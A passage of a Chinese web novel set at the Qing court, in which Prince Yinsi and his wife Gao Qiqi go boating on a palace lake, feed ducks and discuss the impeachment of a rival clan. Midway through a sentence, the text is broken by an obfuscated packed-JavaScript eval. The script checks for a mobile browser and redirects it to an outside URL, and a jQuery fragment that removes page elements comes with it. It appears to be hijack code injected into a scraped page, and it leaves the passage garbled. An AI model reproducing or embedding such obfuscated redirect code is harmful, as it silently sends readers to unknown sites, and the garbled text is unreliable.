“呵,你这还不如当个没眼色的。你凭什么和皇子拉近关系?真当是同僚了?那是皇子,姓爱新觉罗,咱们的主子。” 一阵沉默后,两人长长叹了口气。 还是好好做手里的活吧,别想些有的没的了。 胤禩脚步轻快的往回赶着,身后的动静,他毫不知晓。 穿过一条条宫道,拐了好几个弯,八贝勒院子就要近了。 “贝勒爷!” 胤禩听到一声熟悉的喊声,不可置信的眼睛睁大。 他没有听错吧。 “贝勒爷,是福晋,是福晋啊!”阎进激动道。 胤禩扬起灿烂的笑容,手有些颤抖:“用不着你说,我看到了。” “福晋!”胤禩扬声喊道。 同时,他脚步加快,恨不得跑起来。 高奇奇甜甜一笑,也向前走迎过去。 “福晋怎么在这里等着?不是说好了,我下值后就回去接你吗?”胤禩关心道:“太阳还晒的很,等了我多久,热不热?” “扇子拿过来。”胤禩用手给高奇奇扇了扇风,同时头也不回的对阎进道。 阎进连忙递上折扇。 不是他没眼色,分明是福晋身边有人给扇扇子啊。 高奇奇受用的很,她弯眼笑道:“我又不是雪做的雪人,太阳一晒就化了。有伞遮着,也有初一给我扇扇子,不热的。” “我想来接你嘛。惊不惊喜?开不开心?若不是不合规矩,我定会去你当差的地方接你下值。”高奇奇道。 胤禩咧着嘴直笑,连声回答道:“惊喜惊喜,开心开心。福晋就在这里接我,这里最合适。” 再前面,就不能去了。 奇奇是走到了她能走到的,离他最近的地方,等着他。 “福晋不知道,我听到你的声音时,还以为自己耳朵坏了,听错了。”胤禩眼睛甚至含起了泪花。 他的心口热热胀胀的,想要大哭一把,又恨不得大叫两声,才能抒发出心里的百种情绪。 原来,下值是会有人等,有人接的啊。 “我现在就带福晋去西苑。西苑那边的船已经安排妥当,只等着我们过去,可以立马登船。”胤禩握着高奇奇的手,捏了又捏,大脑还处于兴奋中。 这一刻,其他人着实碍眼。 他好想亲一亲奇奇。 他好喜欢她! 22. 第二十二章 一路上,胤禩说个不停。 高奇奇从未见过他话这么多的样子。 别说是高奇奇了,在胤禩身边当差近十年的阎进,也没见过贝勒爷这样的话密。 胤禩像是求偶的孔雀一般,围绕着雌鸟,疯狂的展示着他美丽的羽毛。 渐渐的,就连一开始兴致冲冲的高奇奇,也有些精神恍惚。 她的脑子里,一下子处理不了太多的信息。 可是,看胤禩开心到兴奋的状态,她又乐意弯着唇角,听他得吧得吧的说着。 如果是因为她的回馈,而感到幸福,她当然不能打断他此刻的快乐。 “福晋,看,前面就是登船的地方了。我让人安排了两种船,一种是两层的船,可以在里面走动,宽敞一些;一种是乌篷船,更能亲近湖面,但是也狭小些,只能坐着或卧着。福晋想坐哪个,我们就坐哪个。”胤禩道。 高奇奇毫不犹豫:“当然是乌篷船了。乌篷船可以划进荷塘里,对不对?” 胤禩愉悦笑道:“我猜的也是福晋会选乌篷船。乌篷船船身窄小,江南采莲人下荷塘时,用的都是乌篷船。” 高奇奇看向胤禩,四目相对,绽颜一笑。 “心有灵犀。” “心有灵犀。” 二人异口同声,旋即一同笑出声来。 真是默契。 站定在乌篷船前,高奇奇张开胳膊,用手臂比划了一下大小。 她再回头看了看他们身后站着的一大帮子人。 难道要一艘乌篷船四周,跟上十来艘小船护卫? 如此难免和惬意游船的目的相悖。 高奇奇和胤禩商量后,挑了一个水性好会划船的太监,跟他们一起上乌篷船。 剩下的人,随他们是在岸边找个背阴的地方歇着,还是乘着大船跟上。 大船用来作补给船,也能方便高奇奇和胤禩坐腻了乌篷船后,可以随时登上大船休息。 乌篷船停在岸边,人踩上去时,会摇晃几下,很是不稳。 胤禩和初一,一左一右的扶着高奇奇,免得她站不稳摔倒。 船舱里铺着沁香的草席,可以直接坐下。 高奇奇适应良好的盘腿一坐,向岸上的胤禩招手:“快进来,船里还放了一枝荷花,很是有野趣。” 胤禩下盘稳,不用人扶,稳稳当当的走上船。 “这就来了。”胤禩道。 相较于高奇奇和胤禩的上船生疏,被挑中负责撑船的太监,动作轻盈极了。 他上船时,船几乎没怎么动。 撑杆往后一划,乌篷船就离了岸边。 初一、十五等人紧接着上了旁边的大船,大船里面东西备的十分齐全,果脯瓜果应有尽有,甚至还放了一盆冰盆降温解暑。 阎进是个旱鸭子,而且晕船。因此,他领着一些人,在岸边等着。 初一和十五找好位置坐下,有机灵的小太监端来两盘水果。 “两位姐姐,船舱里放着的果盘多,小的给您们端来两盘尝尝。”小太监道。 初一微微颔首,示意他放下。 作为福晋身边的掌事宫女和大宫女,吃两盘果子,不是大不了的事情。 见两位大宫女收下水果,小太监乐呵呵的退下,找了个角落站着。 即便贝勒爷和福晋不在船上,他们也不敢坐着。 除非,这个船上只有他们自己人。 “初一,还有莲子诶。这壳真嫩,嫩莲子吃到嘴里一点儿不苦。正好我最近有点儿上火,我多吃几颗下下火。”十五看到莲蓬,立马剥开抠出莲子。 她不仅自己吃,还往初一嘴边喂。 大概是经常看胤禩给高奇奇递吃的,耳濡目染,不自觉就学上了。 “别给我莲子了,我吃枇杷。”初一道。 十五手里握着一捧莲子,既然初一拒绝,她就往自己嘴里扔。 “我刚才认真琢磨了一下,我觉着主子说让大船跟着她和贝勒爷,是故意给机会,让我们也能坐一坐船,游一游太液池的。”船行了一段路,十五挡着嘴,贴在初一耳边用气声说到。 初一耳朵被吹的痒痒的,轻轻推了推她。 “你才发现啊?主子最是体贴,又疼惜咱们。大船空着,今儿又没有外人在,自然给我们坐一坐了。”初一道。 十五道:“嘿嘿,主子真好。我愿意替主子管好库房一百年。” 初一虔诚的想着,她也祈愿主子长命百岁。 主子这样好的人,一定会福寿齐全,人生美满。 宽阔的太液池,一艘乌篷船在湖面上,像一只小黑点。 高奇奇从坐在船舱里,渐渐的变成了躺着。 胤禩坐在她旁边,腿作枕头,让她枕着。 船桨滑动,水面波纹滚滚。 金黄色的阳光,照在湖面上,像是一片片碎琉璃。 高奇奇手里把玩着荷花,荷花花瓣故意划过胤禩的脸颊,淘气的很。 她开心,胤禩就由着她作乱。 “胤禩,你看,这湖啊,真大。”高奇奇指着船外的湖面道。 胤禩点头认可道:“不错。这湖啊,都是水。” 高奇奇愣了愣,转而心情畅快的大笑。 “你怎么知道我要接这句话的。”高奇奇道。 大海啊,都是水。 这样的梗,清朝人不会知道的。 偏偏胤禩就接上来了,大约是天下有趣的人,都是类似的。 “你说,这么大的湖里面,有没有鱼?”高奇奇想了想,这话说的不太对。 不等她改口,就见从天上飞下来一只白鹭,长喙冲入水里,再一抬头,叼上两条活蹦乱跳的小鱼,吞进嘴里。 然后,优雅的飞走。 高奇奇道:“这个问题,似乎不用回答了。” 白鹭现身说法,太液池里不仅有鱼,而且鱼很多。 乌篷船匀速在的往前划着,湖面上的野鸭子和鸳鸯,看到船靠近,不躲不闪的。 鸭妈妈胆大的带着绒黄色的小鸭子,在船边打转。 高奇奇拿起摆在船舱里的点心,身子探出船舱,将点心捏碎了,往小鸭子附近投去。 只见鸭妈妈一个扫尾,把小鸭子们都扫到一边,自己抢起了食。 小鸭子们晕头转向的,有一只倒栽葱在水里。还是同伴把它救了回来。 高奇奇张大了嘴,胤禩的瞳孔也震惊的颤抖着。 “这位鸭妈妈行事好与众不同。”高奇奇咂舌道。 为了抢食,连崽都踹。 “大约是鸭中女侠吧。”胤禩喃喃道。 “皇家御鸭,就是与众不同!”高奇奇道。 在船尾撑船的太监,听不下去了。 他大着胆子道:“贝勒爷、福晋,这只鸭子应当是公鸭。” 胤禩和高奇奇同时回头,眼睛一眨不眨的看向他。 “公鸭?”两人同时质问道。 “公鸭体型较大,且羽毛更鲜艳些。您们看它的尾羽卷曲,而且叫声响亮刺耳,这都是公鸭的特征。一般在水里游戈觅食的,大多都是公鸭。母鸭喜欢在岸上休息。”太监解释道。 胤禩按照讲解的话,比对了一下,确实如此。 高奇奇似懂非懂,但是这并不重要。 “男妈妈也是妈妈。”高奇奇道。 太监闭上了嘴,他还是不说话吧。 八福晋有八福晋的想法。 胤禩也久久沉默无言,大约高奇奇这句话,给他的震撼有些大。他需要时间冷静。 过了许久,胤禩道:“福晋说得有理。” 至于,有什么道理。还是不必刨根问底了。一时半会,不好编。 “点心还有,继续喂点心。”胤禩道。 高奇奇眨巴着眼睛,她好似语出惊人,刺激到古人了。 大约是点心足够多,掰成一块一块,往水面扔去,能一次性扔十来块,天女散花一般的。鸭爸一只鸭吃不过来,没有再阻止鸭宝宝们。 “这就对了嘛,和平共处,鸭鸭都有。”高奇奇笑眯眯道。 点心全部喂完,鸭爸毫不留恋的,带着崽们离开,只留给高奇奇和胤禩,一排高高翘起的秃尾巴鸭屁股。 高奇奇道:“果然,鸟禽还是从正面看比较好看。” 看背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656383|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,实在有些窥探鸟的隐私。 荷花塘的位置有些远,湖面的景色看久了,有些让人乏味。 高奇奇拍拍胤禩的胳膊,喊他一起回船舱里,继续躺着。 外面太阳晒,如果不是有可爱的毛绒绒逗,还是在船舱里舒服。 点心一块也不剩了,高奇奇找到一壶杨梅饮。 加了薄荷叶煮的杨梅汤,放在冰鉴里冰镇过后,入口凉爽甘甜。 “为美景美色,干杯。”高奇奇举起杯子。 “为有福晋相伴,干杯。”胤禩举起杯子。 两个杯子的杯沿轻轻碰了一下,声音清脆悦耳。 高奇奇仰头一饮而尽。 冰爽的口感,将刚才晒的一身暑意,尽数散去。 高奇奇舒爽的打了个激灵:“好喝。这个杨梅饮做的好,回头得赏。” 胤禩慢慢品着,将冰凉的杨梅饮在口中含热了,才吞下去。深谙养生之道。 “是不错。”胤禩赞同道。 撑船太监龇着大牙,高兴的直笑。 他不好意思道:“禀贝勒爷、福晋,这杨梅饮是奴才请御厨做的。” 胤禩侧首看去:“那支荷花也是你布置的?” “是。奴才想着,主子们来游湖,定然想要自己感受摘荷花的乐趣,便只摘了一朵荷花,放在船舱里作为装饰。”撑船太监道。 “心思细腻,又有眼光,倒是难得。你瞧着眼生,不是八贝勒院子的吧?”高奇奇问道。 撑船太监亢奋的眼神精亮,他出头的机会到了。 “回福晋,奴才是在西苑当差,平日里负责巡逻太液池。”撑船太监道:“就是划着船,早晚在太液池上看一圈。” “这样啊。若是有能顶替你的人,你交接了差事后,明日就到我院子里当差吧。我还差个跑腿激灵的小太监。”高奇奇道。 “嗻,奴才毛檐,谢福晋主子恩典。奴才一定会好好做事,不让福晋失望。”撑船太监语气激昂道。 他终于能离开西苑这个地方了。 要不是乌篷船上不能动作太大,容易翻船。他高低要当场磕一个。 既然是自己人,有些话就不用避着了。 让毛檐继续去撑船,胤禩道:“忘了告诉福晋一个好消息。” “今日,马佳氏的几位官员,都被参了折子。”胤禩道。 高奇奇指着后宫的方向,大喜道:“是那个马佳氏?” 胤禩含笑点头,就是荣妃的那个马佳氏。 高奇奇高兴的直拍腿:“是哪位大人参的,我得记下,以后定要重谢。” “佟佳氏和安王府的派系里,都有人出面参奏。”胤禩道。 “一定是二舅母回了趟娘家。”高奇奇笃定道。 这是当然。若不是安郡王福晋回娘家,找佟国公为她做主,佟佳氏一派的官员,没事儿树敌作什么。 不过,马佳氏的族人,着实本事一般。参了也就参了,太弱了,丝毫不怕他们反扑报复。 “那汗阿玛如何处理的?”高奇奇问道。 胤禩笑道:“参奏的折子,证据确凿,并非是作假。汗阿玛能如何处理?” “汗阿玛英明公正,自然是秉公处理。”高奇奇道。 胤禩点头应是:“官位全被从头撸完了,还罚了俸银。再想升回来,大概要走许多门路。” “畅快,真是太畅快了。今晚回去,当浮一大白,饮酒庆祝。”高奇奇全然忘了,她昨日才说的喝酒误事。 胤禩纵容着她,奇奇开心,他就开心。喝点儿酒又有什么,找后劲不大的果酒就好了。 乌篷船终于划到了荷花塘的地方,一大片的荷叶层层叠叠,娇美的荷花笔直伫立着,美的壮阔而大气。 “呜呜呜。” “嘤嘤嘤。” 一阵呜咽幽怨的哭声,从荷花丛后面传出来。 即使是大白天的,也听着瘆人。 高奇奇往胤禩怀里靠了靠:“不,不会有水鬼吧?” 撑船太监也紧紧的握住了撑杆,只等看清躲在后面的是人是鬼,他会一杆打下去。 誓死保护福晋主子和八贝勒。